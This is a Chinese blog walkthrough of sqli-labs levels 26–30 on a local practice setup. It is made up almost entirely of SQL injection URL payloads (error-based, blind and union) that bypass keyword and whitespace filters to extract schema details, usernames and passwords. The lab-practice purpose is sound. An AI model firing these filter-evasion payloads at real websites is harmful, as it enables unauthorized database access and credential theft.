SQL注入的实操(六)less26-30

漏洞靶场练习·网安·生命在于折腾 · 2021-12-30 · 135 人浏览

一、实操环境

1、操作系统

  1. VMware虚拟机创建的win10系统
  2. 内存8GB
  3. 硬盘255GB
  4. 处理器AMD Ryzen 9 5900HX

2、操作项目

==sql-lib项目,本篇文章介绍关卡26-30。==

3、工具版本

  1. phpstudy 8.1.1.3
  2. php版本 5.4.45nts
  3. Apache2.4.39
  4. MySQL5.7.26
  5. Chrome

4、SQL注入目的

  1. 判断是否允许注入
  2. 判断注入点类型
  3. 判断回显点
  4. 获取数据库信息
  5. 获取表信息
  6. 获取字段信息

二、less26

1、判断注入

这一关将很多东西都过滤掉了,所以可以使用url编码也可以使用报错注入。

2、获取数据库信息

http://sql/Less-26/?id=1'anandd(updataxml(1,concat(0x5e,database(),0x5e),1))anandd'
在这里插入图片描述

3、获取表信息

http://sql/Less-26/?id=0'||updatexml(1,concat(0x5e,(select(group_concat(table_name))from (infoorrmation_schema.tables)where(table_schema=database())),0x5e),1)||'
在这里插入图片描述

4、获取字段名

http://sql/Less-26/?id=0'||updatexml(1,concat(0x5e,(select(group_concat(column_name))from (infoorrmation_schema.columns)where(table_schema='security')anandd(table_name='users')),0x5e),1)||'
在这里插入图片描述

5、获取用户名密码

http://sql/Less-26/?id=0'||updatexml(1, concat(0x5e, ( select (group_concat(concat_ws(0x5e,username,passwoorrd))) from (security.users)%20 where (id=1) ) )%20%20 ,1)||'
在这里插入图片描述

三、less26a

1、判断注入

这一关在上一关的基础上加上了括号进行闭合,同时在sql语句执行抛出错误后不在前台页面输出,所以不能用报错注入了。

2、获取数据库信息

http://sql/Less-26a/?id=1%27)anandd(length(database())=8)||(%27
库名为8。
http://sql/Less-26a/?id=1%27)anandd(substr(database(),1,1)='s')||(%27
第一个字母为s。

3、获取表信息

http://sql/Less-26a/?id=1')anandd (substr((select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security')),1,1)='e') ;%00
在这里插入图片描述
同上,可以猜出来。

4、获取用户名和密码

?id=1') anandd (substr((select( concat_ws(',',username,password)) from (security.users )),1,1)='D') ;%00

四、less27

1、判断注入

这一关似乎是上一关的升级版,为字符型注入,过滤了部分注释符号,空格和union select也被过滤了。

2、获取数据库信息

http://sql/Less-27/?id=0'/%0a/UnIoN/%0a/SeLeCt/%0a/1,database(),2/%0a/||'
在这里插入图片描述

3、获取表信息

id=0'/%0a/uNiOn/%0a/sEleCt/%0a/1,2,group_concat(table_name)/%0a/from/%0a/information_schema.tables/%0a/where/%0a/table_schema='security'||'
在这里插入图片描述

4、获取字段信息

id=0'/%0a/uNiOn/%0a/sEleCt/%0a/1,2,group_concat(column_name)/%0a/from/%0a/information_schema.columns/%0a/where/%0a/table_schema='security'/%0a/and/%0a/table_name='users'||'
在这里插入图片描述

5、获取用户名密码

?id=0'/%0a/UnIoN/%0a/SeLeCt/%0a/1,(SeLeCt/%0a/group_concat(concat_ws('$',id,username,password))/%0a/from/%0a/users),3/%0a/||'
在这里插入图片描述

五、less27a

1、判断注入

过滤掉了空格,注释符,union select,这里使用布尔盲注

2、获取数据库信息

?id=1"/%0a/and /%0a/length(database())=8/%0a/||"
?id=1"/%0a/and /%0a/substr(database(),1,8)='security'/%0a/||"
在这里插入图片描述

3、获取表信息

?id=1"/%0a/ and/%0a/ substr((sEleCt /%0a/table_name /%0a/from /%0a/information_schema.tables /%0a/where/%0a/ table_schema='security' /%0a/limit/%0a/0,1),1,1)='e'/%0a/||"

4、获取字段信息

?id=1"/%0a/ and/%0a/ substr((sEleCt /%0a/column_name /%0a/from /%0a/information_schema.columns /%0a/where/%0a/ table_schema='security' /%0a/and /%0a/table_name='users' /%0a/limit/%0a/0,1),1,1)='i'||"

5、获取数据值

?id=1" /%0a/and /%0a/substr((sEleCt/%0a/ concat_ws(',',username,password)/%0a/ from /%0a/security.users /%0a/limit/%0a/ 0,1),1,1)='D'||"

六、less28

1、判断注入

过滤了union select和注释符和空格

2、判断字段数

?id=1')/%0A/order/%0A/by/%0A/3||('

3、判断回显点

?id=1')/%0A/and/%0A/1=2/%0A/UnIOn/%0A/all/%0A/SeLEct/%0A/1,2,3||('

4、获取数据库信息

?id=1')/%0A/and/%0A/1=2/%0A/UnIOn/%0A/ALL/%0A/SeLEct/%0A/1,database(),3/%0A/||('

5、获取表信息

id=1')/%0A/and/%0A/1=2/%0A/UnIOn/%0A/ALL/%0A/SeLEct/%0A/1,group_concat(table_name),3/%0A/from/%0A/information_schema.tables/%0A/where/%0A/table_schema='security'/%0A/||('

6、获取字段信息

id=1')/*%0A*/and/*%0A*/1=2/*%0A*/UnIOn/*%0A*/ALL/*%0A*/SeLEct/*%0A*/1,group_concat(column_name),3/*%0A*/from/*%0A*/information_schema.columns/*%0A*/where/*%0A*/table_schema='security'and/*%0A*/table_name='users'/*%0A*/||('

7、获取值

?id=1')/%0A/and/%0A/1=2/%0A/UnIoN/%0A/all/%0A/SeLeCt/%0A/1,(SeLeCt/%0A/group_concat(concat_ws('$',id,username,password))/%0A/from/%0A/users),3/%0A/||('

七、less28a

1、判断注入

基于联合查询的字符型注入,过滤了union select注释符和空格,与上一关差不多

2、判断回显点

?id=1')/%0A/and/%0A/1=2/%0A/unIon/%0A/sElect/%0A/1,2,3||('
在这里插入图片描述

3、获取数据库信息

?id=1')/%0A/and/%0A/1=2/%0A/unIon/%0A/sElect/%0A/1,database(),3||('
在这里插入图片描述

4、获取表信息

?id=1')/%0A/and/%0A/1=2/%0A/unIon/%0A/sElect/%0A/1,group_concat(table_name),3/%0A/from/%0A/information_schema.tables/%0A/where/%0A/table_schema='security'/%0A/||('
在这里插入图片描述

5、获取字段信息

?id=1')/%0A/and/%0A/1=2/%0A/unIon/%0A/sElect/%0A/1,group_concat(column_name),3/%0A/from/%0A/information_schema.columns/%0A/where/%0A/table_schema='security'/%0A/and/%0A/table_name='users'/%0A/||('
在这里插入图片描述

6、获取用户名密码

/?id=1')/%0A/and/%0A/1=2/%0A/UnIoN/%0A/SeLeCt/%0A/1,(SeLeCt/%0A/group_concat(concat_ws('$',id,username,password))/%0A/from/%0A/users),3/%0A/||('

在这里插入图片描述

八、less29

1、判断注入

这一关使用报错注入。

2、获取数据库信息

?id=1' and extractvalue(1,concat('~',database()))--+
在这里插入图片描述

3、获取表信息

?id=1' and extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='security')))--+
在这里插入图片描述

4、获取字段信息

http://sql/Less-29/?id=1' and extractvalue(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')))--+
在这里插入图片描述

5、获取详细信息

?id=1' and extractvalue(1,concat('~',(select concat_ws(',',id,username,password) from security.users limit 0,1)))--+
在这里插入图片描述

九、less30

1、判断注入

闭合字符为",使用联合查询

2、判断字段数

http://sql/Less-30/?id=1" order by 3--+
在这里插入图片描述

3、判断回显点

http://sql/Less-30/?id=-1" union select 1,2,3--+
在这里插入图片描述

4、获取数据库信息

http://sql/Less-30/?id=-1" union select 1,2,database()--+
在这里插入图片描述

5、获取表信息

http://sql/Less-30/?id=-1"union select 1,2,group_concat(table_name)from information_schema.tables where table_schema='security'--+
在这里插入图片描述

6、获取字段信息

http://sql/Less-30/?id=-1"union select 1,2,group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'--+
在这里插入图片描述

7、获取用户名密码

http://sql/Less-30/?id=-1"union select 1,2,concat_ws(',',id,username,password)from security.users limit 0,1--+
在这里插入图片描述

十、总结与后记

本篇文章是sql-lib的26关-30关,有问题请留言,万分感谢,本篇较难,参考了https://blog.csdn.net/m0_64361111/article/details/123570434这篇文档,万分感谢。

sql
Theme Jasmine by Kent Liao 京ICP备2023023335号-2京公网安备11010802044340号